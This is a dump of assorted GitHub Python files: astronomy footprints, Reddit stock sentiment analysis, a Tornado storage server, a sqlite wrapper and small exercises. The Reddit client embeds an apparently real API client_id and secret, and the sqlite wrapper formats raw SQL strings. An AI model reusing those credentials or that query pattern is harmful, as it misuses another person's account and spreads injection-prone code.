+{"seq_id":"19255550112","text":"# adapted from https://github.com/spacetelescope/jwst_novt/blob/main/jwst_novt/footprints.py\n\nimport numpy as np\nimport regions\nfrom astropy import coordinates\n\ntry:\n import pysiaf\nexcept ImportError:\n _has_pysiaf = False\nelse:\n _has_pysiaf = True\n\n__all__ = [\n \"_has_pysiaf\",\n \"_instruments\",\n \"_full_apertures\",\n \"_all_apertures\",\n \"jwst_footprint\"\n]\n\n_instruments = {'NIRSpec': 'NIRSpec',\n 'NIRCam:short': 'NIRCam',\n 'NIRCam:long': 'NIRCam',\n 'NIRISS': 'NIRISS',\n 'MIRI': 'MIRI',\n 'FGS': 'FGS'\n }\n\n_full_apertures = {'NIRSpec': 'NRS_FULL_MSA',\n 'NIRCam:short': 'NRCALL_FULL',\n 'NIRCam:long': 'NRCALL_FULL',\n 'NIRISS': 'NIS_AMIFULL',\n 'MIRI': 'MIRIM_FULL',\n 'FGS': 'FGS1_FULL'\n }\n\n_all_apertures = {'NIRSpec': [\"NRS_FULL_MSA1\",\n \"NRS_FULL_MSA2\",\n \"NRS_FULL_MSA3\",\n \"NRS_FULL_MSA4\",\n \"NRS_FULL_IFU\",\n \"NRS_S200A1_SLIT\",\n \"NRS_S200A2_SLIT\",\n \"NRS_S400A1_SLIT\",\n \"NRS_S1600A1_SLIT\",\n \"NRS_S200B1_SLIT\"],\n 'NIRCam:short': [\"NRCA1_FULL\",\n \"NRCA2_FULL\",\n \"NRCA3_FULL\",\n \"NRCA4_FULL\",\n \"NRCB1_FULL\",\n \"NRCB2_FULL\",\n \"NRCB3_FULL\",\n \"NRCB4_FULL\"],\n 'NIRCam:long': [\"NRCA5_FULL\", \"NRCB5_FULL\"],\n 'NIRISS': ['NIS_AMIFULL'],\n 'MIRI': ['MIRIM_FULL'],\n 'FGS': ['FGS1_FULL', 'FGS2_FULL']\n }\n\n\ndef jwst_footprint(instrument, ra, dec, pa, v2_offset=0.0, v3_offset=0.0, apertures=None):\n \"\"\"\n Create footprint regions in sky coordinates from a jwst instrument.\n\n Parameters\n ----------\n instrument : string\n Instrument, one of 'nirspec', 'nircam:short', 'nircam:long'.\n ra : float\n RA of NIRCam center, in degrees.\n dec : float\n Dec of NIRCam center, in degrees.\n pa : float\n Position angle, in degrees measured from North\n to central vertical axis in North to East direction.\n v2_offset : float, optional\n Additional V2 offset in telescope coordinates to apply to instrument\n center, as from a dither pattern.\n v3_offset : float, optional\n Additional V3 offset in telescope coordinates to apply to instrument\n center, as from a dither pattern.\n apertures : list of str, optional\n If set, only the specified apertures are returned.\n\n Returns\n -------\n footprint : regions.Regions\n Footprint regions as Polygon regions in sky coordinates.\n \"\"\"\n if not _has_pysiaf:\n raise ImportError('jwst_footprint requires pysiaf to be installed')\n\n if instrument not in _instruments: # pragma: no cover\n raise ValueError(f\"instrument must be one of {', '.join(_instruments.keys())}\")\n\n siaf_interface = pysiaf.Siaf(_instruments.get(instrument))\n\n # Get center and PA offset from full aperture\n full = siaf_interface.apertures[_full_apertures.get(instrument)]\n corners = full.corners(\"tel\", rederive=False)\n v2 = np.mean(corners[0]) - v2_offset\n v3 = np.mean(corners[1]) + v3_offset\n pa_offset = full.V3IdlYAngle\n\n # Attitude matrix for sky coordinates\n attmat = pysiaf.utils.rotations.attitude(v2, v3, ra, dec, pa - pa_offset)\n\n if apertures is None:\n apertures = _all_apertures.get(instrument)\n\n # Aperture regions\n ap_regions = []\n for aperture_name in apertures:\n aperture = siaf_interface.apertures[aperture_name]\n aperture.set_attitude_matrix(attmat)\n poly_points = aperture.closed_polygon_points(\"sky\")\n\n sky_coord = coordinates.SkyCoord(*poly_points, unit=\"deg\")\n reg = regions.PolygonSkyRegion(sky_coord)\n ap_regions.append(reg)\n\n return regions.Regions(ap_regions)\n","repo_name":"spacetelescope/jdaviz","sub_path":"jdaviz/configs/imviz/plugins/footprints/preset_regions.py","file_name":"preset_regions.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"0"}
+{"seq_id":"26435076804","text":"\"\"\"Fill the database with languages from Google Translate.\"\"\"\nimport json\n\nfrom ..models import Language # type: ignore # pylint: disable=relative-beyond-top-level\n\nSPECIAL_LANGUAGE_CODE_MAPPING = {\n \"zh-CN\": \"zh\", # Chinese (Simplified)\n \"zh-TW\": \"zh\", # Chinese (Traditional)\n}\n\n\ndef update_languages() -> None:\n \"\"\"Load languages from the JSON file.\"\"\"\n with open(\"lexiflux/resources/google_translate_languages.json\", \"r\", encoding=\"utf8\") as file:\n data = json.load(file)\n\n # Iterate over the languages in the JSON file\n for language in data[\"languages\"]:\n google_code = language[\"id\"]\n epub_code = SPECIAL_LANGUAGE_CODE_MAPPING.get(google_code, google_code)\n lang_name = language[\"name\"]\n\n # Update or create the language in the database\n Language.objects.update_or_create(\n google_code=google_code, defaults={\"epub_code\": epub_code, \"name\": lang_name}\n )\n\n\n# Call the function to update languages\nupdate_languages()\n","repo_name":"andgineer/lexiflux","sub_path":"lexiflux/dictionary/google_languages.py","file_name":"google_languages.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"11209897383","text":"year=input(\"enter the year you want to taste:\")\r\nyear=int(year)\r\nprint(year,\"is to justify whether it is leap year or not\")\r\nif year%4==0:\r\n if year%100==0:\r\n if year%400==0:\r\n print(\"yes\",year,\"is a leap yaer\")\r\n else:\r\n (\"not the leap year\")\r\n else:\r\n (\"yes\",year,\"is a leap year\") \r\nelse:\r\n print(\"not the leap year\") \r\n \r\n","repo_name":"siamCSEJnU/pythonCode","sub_path":"leapyear.py","file_name":"leapyear.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"29685519299","text":"#!/usr/bin/python3\n\"\"\"Log parsing\"\"\"\nimport sys\n# import signal\n\n\n# def main():\ncount = 0\ndata = {'200': 0, '301': 0, '400': 0, '401': 0,\n '403': 0, '404': 0, '405': 0, '500': 0}\nsize = 0\n\n# def signal_handler(*args):\n# print(\"File size: {}\".format(size))\n# for key in sorted(data.keys()):\n# if data[key] != 0:\n# print(\"{}: {}\".format(key, data[key]))\n#\n# sys.exit(0)\n\n# signal.signal(signal.SIGINT, signal_handler)\ntry:\n for line in sys.stdin:\n response = line.split(\" \")[-2:]\n if len(response) >= 2:\n status = response[0]\n size += int(response[1][:-1])\n\n # if status not in data:\n # data[status] = 1\n # else:\n # data[status] += 1\n if status in data:\n data[status] += 1\n\n if count >= 9:\n print(\"File size: {:d}\".format(size))\n for key in sorted(data.keys()):\n if data[key] != 0:\n print(\"{}: {:d}\".format(key, data[key]))\n count = 0\n else:\n count += 1\nexcept Exception:\n pass\nfinally:\n print(\"File size: {:d}\".format(size))\n for key in sorted(data.keys()):\n if data[key] != 0:\n print(\"{}: {:d}\".format(key, data[key]))\n\n# if __name__ == '__main__':\n# main()\n","repo_name":"jalondono/holbertonschool-interview","sub_path":"0x06-log_parsing/0-stats.py","file_name":"0-stats.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"11909840681","text":"import configparser\nimport json\nimport re\nimport sys\nfrom datetime import datetime as dt\nfrom datetime import timedelta\n\nimport flair\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport praw\nimport yfinance as yf\nfrom client import Client\nfrom flair.data import Sentence\nfrom flair.models import SequenceTagger, TextClassifier\n\n\nclass RedditClient(Client):\n \"\"\"\n Reddit client class for sentiment analysis\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Set up authentication and initialize client\n \"\"\"\n self.sentiment_model = flair.models.TextClassifier.load(\"en-sentiment\")\n\n # Read-only instance\n self.reddit_read_only = praw.Reddit(\n client_id=\"jR-4thKK9gWzUeWbmoMnXQ\",\n client_secret=\"5N8JI3jtN0Jn56CrXpLfkLBDulnCeQ\",\n user_agent=\"retrieve_wallstreetbets_content\",\n )\n\n # self.subreddit = reddit_read_only.subreddit(\"wallstreetbets\")\n\n # print(\"Display Name:\", self.subreddit.display_name)\n\n # Display the title of the Subreddit\n # print(\"Title:\", self.subreddit.title)\n\n def get_data(self, submission):\n data = pd.DataFrame(\n {\n \"id\": [submission.id],\n \"created_at\": [submission.created_utc],\n \"date\": [dt.fromtimestamp(submission.created_utc)],\n \"text\": [submission.selftext + submission.title],\n }\n )\n return data\n\n \"\"\"\n Retrieves news object [title, description, date] as a map\n \"\"\"\n\n def get_news(self, stock_abbreviation):\n query = stock_abbreviation\n response = []\n i = 0\n try:\n for submission in self.reddit_read_only.subreddit(\"wallstreetbets\").search(\n query, sort=\"new\", time_filter=\"month\", limit=3\n ):\n if i > 3:\n break\n if len(submission.selftext) > 0:\n title = submission.title\n description = submission.selftext[:180] + \"...\"\n description = \"\".join(description.split(\"\\n\"))\n # convert to May 01, 2023 at 05:15 PM\n date = dt.utcfromtimestamp(submission.created_utc).strftime(\n \"%B %d, %Y at %I:%M %p\"\n )\n response.append([title, description, date])\n i += 1\n except Exception as e:\n return []\n\n return response\n\n def get_activity(self, stock_abbreviation):\n query = stock_abbreviation\n activity = 0\n for submission in self.reddit_read_only.subreddit(\"all\").search(\n query, time_filter=\"month\", limit=1000\n ):\n activity += 1\n return activity\n\n \"\"\"\n API call to get tweets based on query keyword(s)\n \"\"\"\n\n def get_posts(self, stock_abbreviation):\n query = stock\n response = []\n df = pd.DataFrame()\n\n # retrieve up to 1000 reddit posts\n for submission in self.reddit_read_only.subreddit(\"all\").search(\n query, sort=\"top\", time_filter=\"month\", limit=None\n ):\n # print(submission.selftext)\n df = df.append(self.get_data(submission), ignore_index=True)\n response.append(submission.title + submission.selftext)\n\n return df\n\n def get_sentiment(self, tweet):\n \"\"\"\n For a tweet, obtains sentiment score through Flair API\n Args:\n tweet ([string]): cleaned tokens frm a tweet\n Returns:\n score (string): binary sentiment ('POSITIVE' or 'NEGATIVE')\n confidence (float): confidence level of the result (in range 0-1)\n\n \"\"\"\n # > Referenced: https://towardsdatascience.com/text-classification-with-state-of-the-art-nlp-library-flair-b541d7add21f?gi=3675966b8dff\n sentence = Sentence(tweet)\n x = self.sentiment_model.predict(sentence)\n\n return sentence.labels[0].score, sentence.labels[0].value\n\n def get_sentiment_to_display(self, stockname):\n query = stockname\n num_submissions = 0\n sentiment = 0\n\n for submission in self.reddit_read_only.subreddit(\"all\").search(\n query, sort=\"top\", time_filter=\"month\", limit=20\n ):\n confidence, score = self.get_sentiment(\n submission.title + submission.selftext\n )\n num_submissions += 1\n if score == \"NEGATIVE\":\n confidence *= -1\n sentiment += confidence\n\n sentiment = sentiment / num_submissions\n return sentiment\n\n def plottingfunction(x, y, name, show=True):\n # do something with fig and ax here, e.g.\n (line,) = plt.plot(x, y)\n\n if show:\n plt.show()\n else:\n plt.savefig(name)\n\n return line\n\n\nif __name__ == \"__main__\":\n client = RedditClient()\n\n n = len(sys.argv)\n print(\"Total arguments passed:\", n)\n\n # Arguments passed\n print(\"\\nName of Python script:\", sys.argv[0])\n\n print(\"\\nArguments passed:\", end=\" \")\n stock = \"tesla\"\n if n >= 2:\n stock = sys.argv[1]\n\n posts = client.get_posts(stock)\n\n # number of posts retrieved\n print(len(posts))\n print(posts.head())\n\n print(dt.fromtimestamp(posts[\"created_at\"].min()).strftime(\"%Y-%m-%d\"))\n\n # get historical stock data\n tsla = yf.Ticker(\"TSLA\")\n tsla_stock = tsla.history(\n start=dt.fromtimestamp(posts[\"created_at\"].min()).strftime(\"%Y-%m-%d\"),\n end=dt.fromtimestamp(posts[\"created_at\"].max()).strftime(\"%Y-%m-%d\"),\n interval=\"1d\",\n ).reset_index()\n\n # retrieve dates & remove time zone\n date_times = tsla_stock[\"Date\"]\n date_times = [x.tz_convert(None) for x in date_times]\n\n def getClosestDate(row):\n res = min(date_times, key=lambda sub: abs(sub - row[\"date\"]))\n return res\n\n # posts[\"date_group\"] = pd.cut(posts[\"date\"], bins=date_bins, labels=date_times)\n # print(posts.head(100))\n posts[\"date_group\"] = posts.apply(getClosestDate, axis=1)\n\n def getSentiment(row):\n output = client.get_sentiment(row[\"text\"])\n return output[0] if output[1] == \"POSITIVE\" else -1 * output[0]\n\n posts[\"sentiment\"] = posts.apply(getSentiment, axis=1)\n print(posts.iloc[0])\n df = posts.groupby([\"date_group\"])[\"sentiment\"].mean()\n\n print(df.head())\n\n # plot stock data vs. time\n plt.plot(tsla_stock.Date, tsla_stock.Close)\n plt.xlabel(\"Time\")\n plt.ylabel(\"Stock Price\")\n plt.title(\"Stock Price vs. Time\")\n # plt.show()\n plt.savefig(\"stockprice.png\")\n\n # plot sentiment vs. time\n plt.plot(df, color=\"red\")\n plt.xlabel(\"Time\")\n plt.ylabel(\"Avg Sentiment Score\")\n plt.title(\"Avg Sentiment vs. Time\")\n # plt.show()\n plt.savefig(\"sentiment.png\")\n\n print(df.head(20))\n\n # df.plot(x=\"date_group\", y=\"unemployment_rate\", kind=\"line\")\n\n # df = posts.groupby(pd.cut(posts[\"created_at\"], bins=7)).apply(lambda x: x[t])\n # print(df.head())\n","repo_name":"maggie-yu-12/tradewiz","sub_path":"backend/app/analysis/reddit_client.py","file_name":"reddit_client.py","file_ext":"py","file_size_in_byte":7027,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"10853461620","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='App',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('app', models.CharField(default=b'App', max_length=50)),\n ('admins', models.ManyToManyField(to=settings.AUTH_USER_MODEL)),\n ('credenciales', models.OneToOneField(related_name='+', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n","repo_name":"gvaldez81/apicumulus","sub_path":"app/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"31119195320","text":"import torch\nfrom torch.autograd import Variable # torch 中 Variable 模块\n\n# 定义一个张量(tensor)\ntensor = torch.FloatTensor([[1,3],[5,7]])\n# tensor([[1., 3.],\n# [5., 7.]])\n# 将tensor封装为Variable\nvariable = Variable(tensor, requires_grad=True) # 必须传一个torch的tensor\n# 一个常用属性,requires_grad是否计算其梯度,也就是是否对���量进行优化更新,感觉有些像tf.Variable的trainable属性\n# tensor([[1., 3.],\n# [5., 7.]], requires_grad=True)\n# 看起来torch.Tensor跟torch.autograd.Variable是一样的,只是因为两个类的__str__是类似的,有些操作Tensor是无法进行\n\n# 构造函数y=average(sum(x^2))进行Variable实例演示\nt_out = torch.mean(tensor*tensor) # x^2\n# tensor(21.)\nv_out = torch.mean(variable*variable) # x^2\n# tensor(21., grad_fn=)\n\n# 模拟 v_out 的误差反向传递\nv_out.backward()\n# Tensor类的计算结果t_out是不能进行此操作的\n\n# 下面两步看不懂没关系, 只要知道 Variable 是计算图的一部分, 可以用来传递误差就好.\n# v_out = 1/4 * sum(variable*variable) 这是计算图中的 v_out 计算步骤\n# 针对于 v_out 的梯度就是, d(v_out)/d(variable) = 1/4*2*variable = variable/2\n\nprint(variable.grad) # 计算 Variable 的梯度\n# tensor([[0.5000, 1.5000],\n# [2.5000, 3.5000]])","repo_name":"Clearfaith/pyGreat","sub_path":"tools/Deep_pytorch/t02ptvariable.py","file_name":"t02ptvariable.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"20054455987","text":"import tornado.ioloop\nimport tornado.web\n\nimport log\nimport setting\nfrom uploader import Google_Cloud_Storage\n\nlogger = log.logger\nport = setting.port\n\nclass UploadHander(tornado.web.RequestHandler):\n def post(self):\n msg = \"[UploadHander:post]: {}\"\n\n try:\n file_path = self.get_argument(\"file_path\")\n gcs = Google_Cloud_Storage()\n gcs.upload(file_path)\n except Exception as e:\n err_msg = msg.format(\"fail to upload {}, {}\".format(file_path, e))\n logger.exception(err_msg)\n logger.error(err_msg)\n raise Exception(err_msg)\n else:\n sccs_msg = msg.format(\"success to upload {}\".format(file_path))\n logger.info(sccs_msg)\n\n self.write(\"success\\n\")\n\nclass DownloadHandler(tornado.web.RequestHandler):\n def post(self):\n msg = \"[DownloadHandler:post]: {}\"\n\n try:\n file_path = self.get_argument(\"file_path\")\n gcs = Google_Cloud_Storage()\n gcs.download(file_path)\n except Exception as e:\n err_msg = msg.format(\"fail to download {}, {}\".format(file_path, e))\n logger.exception(err_msg)\n logger.error(err_msg)\n raise Exception(err_msg)\n else:\n sccs_msg = msg.format(\"success to download {}\".format(file_path))\n logger.info(sccs_msg)\n\n self.write(\"success\\n\")\n\nclass TestHandler(tornado.web.RequestHandler):\n def get(self):\n logger.info(\"[TestHandler:get]: test message\")\n self.write(\"test\\n\")\n\nclass Server:\n def __init__(self):\n self.application = tornado.web.Application(\n [\n (r\"/upload\", UploadHander),\n (r\"/test\", TestHandler),\n (r\"/download\", DownloadHandler)\n ]\n )\n self.port = port\n\n def start(self):\n msg = \"[Server:start]: {}\"\n self.application.listen(self.port)\n print(msg.format(\"server is up ...\"))\n tornado.ioloop.IOLoop.instance().start()\n\n\n\nif __name__ == \"__main__\":\n server = Server()\n server.start()\n","repo_name":"yonedahayato/google","sub_path":"cloud_storage/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37983445779","text":"test_cases=int(input())\r\nwhile test_cases!=0:\r\n capacity=[int(x) for x in input().split()]\r\n waste=[int(x) for x in input().split()]\r\n if waste[0]>capacity[0] or waste[1]>capacity[1] or waste[2]>capacity[2]: \r\n print(\"NO\")\r\n else:\r\n capacity[0]=capacity[0]-waste[0]\r\n capacity[1]=capacity[1]-waste[1] #1 2 5\r\n capacity[2]=capacity[2]-waste[2] #1 2 3 1 1\r\n waste[0]=0 \r\n waste[1]=0\r\n waste[2]=0\r\n if capacity[0]!=0:\r\n if waste[3]!=0:\r\n if waste[3]>capacity[0]:\r\n waste[3]=waste[3]-capacity[0]\r\n capacity[0]=0\r\n else:\r\n capacity[0]=capacity[0]-waste[3]\r\n waste[3]=0\r\n if capacity[1]!=0:\r\n if waste[4]!=0:\r\n if waste[4]>capacity[1]:\r\n waste[4]=waste[4]-capacity[1]\r\n capacity[1]=0\r\n else:\r\n capacity[1]=capacity[1]-waste[4]\r\n waste[4]=0\r\n if waste[3]+waste[4]>capacity[2]:\r\n print(\"NO\")\r\n else:\r\n print(\"YES\") \r\n test_cases=test_cases-1","repo_name":"Aaronphilip2003/CODEFORCES","sub_path":"Waste_Sorting_1468N.py","file_name":"Waste_Sorting_1468N.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"6847099365","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 9 15:56:49 2018\n\n@author: roohollah\n\"\"\"\nimport sys\nimport random\nimport itertools\nimport EMNIST_Loader\nimport pickle\ntraining_data, validation_data, test_data = EMNIST_Loader.load_data_wrapper()\nimport network2_EMNIST\n\nnh = [30, 50]\nminibatch_size = [10, 30]\neta = [0.5, 0.8]\nepochs = [30, 40]\nlmbda = [50.0, 80.0]\n\n\ncombos=random.sample(set(itertools.product(nh,minibatch_size,eta,epochs, lmbda)), 32)\ncombos=sorted(combos, key=lambda tup: (tup[0],tup[1],tup[2],tup[3], tup[4]))\n\nconfig=[]\n\nsavedir = 'results';\n\nfor i in range(32):\n config=combos[i][:]\n print(\"Number of Hidden Nodes is {}\".format(config[0]))\n print(\"Minibatch size is {}\".format(config[1]))\n print(\"Learning Rate (eta) is {}\".format(config[2]))\n print(\"Number of epochs is {}\".format(config[3]))\n print(\"Regularization parameter lmbda is {}\".format(config[4]))\n \n evaluation_cost, evaluation_accuracy = [], []\n training_cost, training_accuracy = [], []\n \n net = network2_EMNIST.Network([784, config[0], 47], cost=network2_EMNIST.CrossEntropyCost) \n net.default_weight_initializer()\n \n# print(training_data[0][1].shape)\n# sys.exit()\n evaluation_cost, evaluation_accuracy, training_cost, training_accuracy = net.SGD(training_data, config[3], config[1], config[2], config[4], evaluation_data=validation_data, \n monitor_evaluation_cost=True, #eeeee\n monitor_evaluation_accuracy=True,\n monitor_training_cost=True,\n monitor_training_accuracy=True)\n \n net.save(str(savedir+'/net_value_{}').format(i))\n \n f = open(str(savedir+'/run_{}.pkl').format(i), 'wb')\n pickle.dump(config,f)\n pickle.dump(evaluation_cost, f)\n pickle.dump(evaluation_accuracy, f)\n pickle.dump(training_cost, f)\n pickle.dump(training_accuracy, f)\n f.close()\n ","repo_name":"roamiri/Classification_EMNIST","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"36386244737","text":"import sqlite3\nclass sqlite:\n def __init__(self,dbfile=None):\n if not dbfile:\n dbfile = 'data.db'\n self.conn = sqlite3.connect(dbfile)\n self.sql = self.conn.cursor()\n\n def get_tables(self):\n table = self.sql.execute(\"select name from sqlite_master where type='table' order by name\")\n tables = []\n if not table:\n return None\n for i in table:\n tables.append(i[0])\n return tables\n\n def create_table(self,table,item):\n if not table.strip() or not item:\n return \n ct = \"create table {} (\".format(table)\n ca = []\n try :\n keys = list(item.keys())\n except :\n for i in item:\n a = \"{} text ,\".format(i)\n if i == item[-1]:\n a = \"{} text\".format(i)\n ca.append(a)\n else:\n for i in keys:\n a = \"{} {} ,\".format(i,item[i])\n if i == keys[-1]:\n a = \"{} {}\".format(i,item[i])\n ca.append(a) \n \n cs = \"\".join(ca)\n ce = \")\"\n query = ct + cs + ce\n try :\n self.sql.execute(query)\n except:\n return \n return True \n\n def delete_table(self,table):\n query ='drop table {}'.format(table)\n try:\n self.sql.execute(query) \n except :\n return \n return True\n \n def empty_table(self,table):\n item = self.get_table_item(table)\n self.delete_table(table)\n if self.create_table(table,item):\n return True\n else:\n return \n \n def get_table_info(self,table):\n try:\n res = self.sql.execute('PRAGMA table_info({})'.format(table))\n except :\n return None\n info = []\n for i in res:\n info.append(i)\n return info\n \n def get_table_item(self,table):\n table_info = self.get_table_info(table)\n if not table_info:\n return None\n item = []\n for i in table_info:\n item.append(i[1])\n return item\n \n def add_table_item(self,table,item,item_type):\n query = \"alter table {} add {} {}\" .format(table,item,item_type)\n try:\n self.sql.execute(query)\n self.conn.commit()\n except :\n return \n return True\n \n def delete_table_item(self,table,item):\n table_item = self.get_table_item(table)\n data = self.get(table)\n if not table_item :\n return \n elif item not in table_item:\n return \n else:\n table_item.remove(item)\n if self.delete_table(table):\n self.create_table(table,table_item)\n self.insert(table,data)\n return True\n else:\n return \n \n def get(self,table,where=None):\n table_item = self.get_table_item(table)\n if not where:\n query = 'select * from {}'.format(table)\n else:\n query = 'select * from {} where {}'.format(table,where)\n try : \n datas = self.sql.execute(query).fetchall()\n except :\n return\n data = []\n if not datas:\n return \n for i in datas:\n d = {}.fromkeys(table_item)\n for v in range(len(table_item)):\n d[table_item[v]] = i[v]\n data.append(d)\n return data\n\n def filter_repeat(self,data):\n if not data:\n return\n data = list(data)\n for i in data:\n while data.count(i) > 1:\n data.remove(i)\n return data\n\n def insert(self,table,data):\n data = self.filter_repeat(data)\n table_item = self.get_table_item(table)\n if not table_item:\n return \n q = 'insert into {} ('.format(table)\n u = []\n for i in table_item:\n a = '{},'.format(i)\n if i == table_item[-1]:\n a = '{}) values('.format(i)\n u.append(a)\n e = '?,' * len(table_item) \n r = q + ''.join(u) + e\n y = list(r)\n y[-1] = ')'\n query = ''.join(y)\n if not data:\n return \n for d in data:\n datas = []\n for i in table_item:\n try:\n datas.append(d[i])\n except : \n datas.append(None)\n datas = tuple(datas)\n try :\n self.sql.execute(query,datas)\n self.conn.commit()\n except : return \n return True\n \n def delete(self,table,where):\n query =\"delete from {} where {}\".format(table,where)\n try:\n self.sql.execute(query)\n self.conn.commit()\n except :\n return \n return True\n \n def select(self,table,item=None,where=None):\n datas = self.get(table,where=where)\n if not datas:\n return None\n if not item:\n return datas\n data = []\n for d in datas:\n ds = {}.fromkeys(item)\n for i in item:\n if not d[i]:\n continue\n ds[i] = d[i]\n data.append(ds)\n return data\n \n def update(self,table,where,data):\n if self.delete(table,where):\n self.insert(table,data)\n self.conn.commit()\n return True\n else:\n return \n","repo_name":"hk4170/sudata","sub_path":"sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37296223321","text":"import sys, copy\n\nfrom itertools import permutations\nfrom collections import deque\n \ndef remove_card(card):\n global board_c, card_position\n for x, y in card_position[card]: \n board_c[x][y] = 0\n\ndef restore_card(card):\n global board_c, card_position\n for x, y in card_position[card]: \n board_c[x][y] = card\n \ndx = [1,-1,0,0]\ndy = [0,0,1,-1]\n\ndef bfs1(r,c,x,y):\n global board_c\n board = board_c\n stack = []\n stack.append([r,c])\n step = 0\n visit = [[False for _ in range(4)] for _ in range(4)]\n visit[r][c]=True\n while stack:\n new_stack = []\n while stack:\n cur = stack.pop()\n if cur[0]==x and cur[1]==y:\n return step\n for idx in range(4):\n next_x = cur[0]+dx[idx]\n next_y = cur[1]+dy[idx]\n if 0<=next_x<4 and 0<=next_y<4:\n if not visit[next_x][next_y]:\n visit[next_x][next_y] = True\n new_stack.append([next_x,next_y])\n for idx in range(4):\n next_x = cur[0]+dx[idx]\n next_y = cur[1]+dy[idx]\n if not (0<=next_x<4 and 0<=next_y<4):\n continue\n while True:\n if board[next_x][next_y]!=0:\n if not visit[next_x][next_y]:\n visit[next_x][next_y] = True\n new_stack.append([next_x,next_y])\n break\n next_x += dx[idx]\n next_y += dy[idx]\n if not (0<=next_x<4 and 0<=next_y<4):\n if not visit[next_x-dx[idx]][next_y-dy[idx]]:\n visit[next_x-dx[idx]][next_y-dy[idx]] = True\n new_stack.append([next_x-dx[idx],next_y-dy[idx]])\n break\n step+=1\n stack = new_stack\n\nhaggie = 0\nfunc_call = 0\n\ndef go(sx, sy, order, card_num, count, move): \n global answer, order_p, card_position, board_c,haggie,func_call\n print(sx,sy)\n print(count)\n func_call+=1\n if count == card_num:\n print('--')\n answer = min(answer, move)\n return\n \n card = order_p[order][count]\n \n left = card_position[card][0]\n right = card_position[card][1]\n \n d1 = bfs1(sx, sy, left[0], left[1]) # 출발 지점 -> 해당카드 왼쪽\n d2 = bfs1(left[0], left[1], right[0], right[1]) # 해당카드 왼쪽 -> 해당카드 오른쪽\n haggie+=2\n\n remove_card(card)\n go(right[0], right[1], order, card_num, count+1, move+d1+d2)\n restore_card(card)\n \n d1 = bfs1(sx, sy, right[0], right[1]) # 출발 지점 -> 해당카드 오른쪽\n d2 = bfs1(right[0], right[1], left[0], left[1]) # 해당카드 오른쪽 -> 해당카드 왼쪽\n haggie+=2\n \n remove_card(card)\n go(left[0], left[1], order, card_num, count+1, move+d1+d2)\n restore_card(card)\n \ndef solution(board, r, c):\n global answer, order_p, card_position, board_c,haggie\n for x in board:\n print(*x)\n answer = sys.maxsize\n board_c = copy.deepcopy(board)\n card_position = {}\n\n for i in range(4):\n for j in range(4):\n num = board[i][j]\n if num != 0:\n if num in card_position.keys():\n card_position[num].append([i, j])\n else:\n card_position[num] = [[i, j]]\n \n orders = [k for k, v in card_position.items()]\n order_p = list(permutations(orders, len(orders))) # 제거 순서\n \n for i in range(len(order_p)):\n print('----',order_p[i])\n go(r, c, i, len(card_position.keys()), 0, 0)\n print(haggie)\n print(func_call)\n return answer + 2*len(card_position)\n\nboard = [[1,0,0,3],[2,0,0,0],[0,0,0,2],[3,0,1,0]]\t\nr = 1 \nc = 0\nprint(solution(board,r,c))","repo_name":"kimhaggie/Coding_practice","sub_path":"PGR_카드_짝_맞추기.py","file_name":"PGR_카드_짝_맞추기.py","file_ext":"py","file_size_in_byte":3923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"28087409132","text":"import logging\nfrom numbers import Number\nfrom typing import Any, Callable, Dict, Hashable, Iterable\n\nimport black\n\nlogger = logging.getLogger(__file__)\n\n\ndef ppprint(o: Any) -> str:\n \"\"\"Uses `black` to pretty-print Python objects.\n\n Arguments:\n o (Any): A raw Python value\n\n Returns:\n str: A formatted string representation of the value\n \"\"\"\n return black.format_str(repr(o), mode=black.Mode())\n\n\ndef bucketize(\n input: Iterable[Any],\n bucketizer: Callable[[Any], Hashable] = lambda v: v,\n evaluator: Callable[[Any], Number] = lambda v: 1,\n) -> Dict[Hashable, Number]:\n \"\"\"Method to bucketize a series of values.\n\n Transforms a sequence of values into a dict of buckets where the bucket key is calculated using the provided `bucketizer`\n (the individual items by default) and the value summed is calculated using the provided `evaluator` (the count by default).\n The dict is sorted by the keys before returning.\n\n Arguments:\n input (Iterable[Any]): the collection of items to bucketize.\n bucketizer (Callable[[Any], Hashable]): A method to extract the key from the provided items. Defaults to return the item itself.\n evaluator (Callable[[Any], Number]): A method to extract the value from the provieded items. Defaults to return a count of the items.\n\n Returns:\n Dict[Hashable, Number]: The result of summing the values 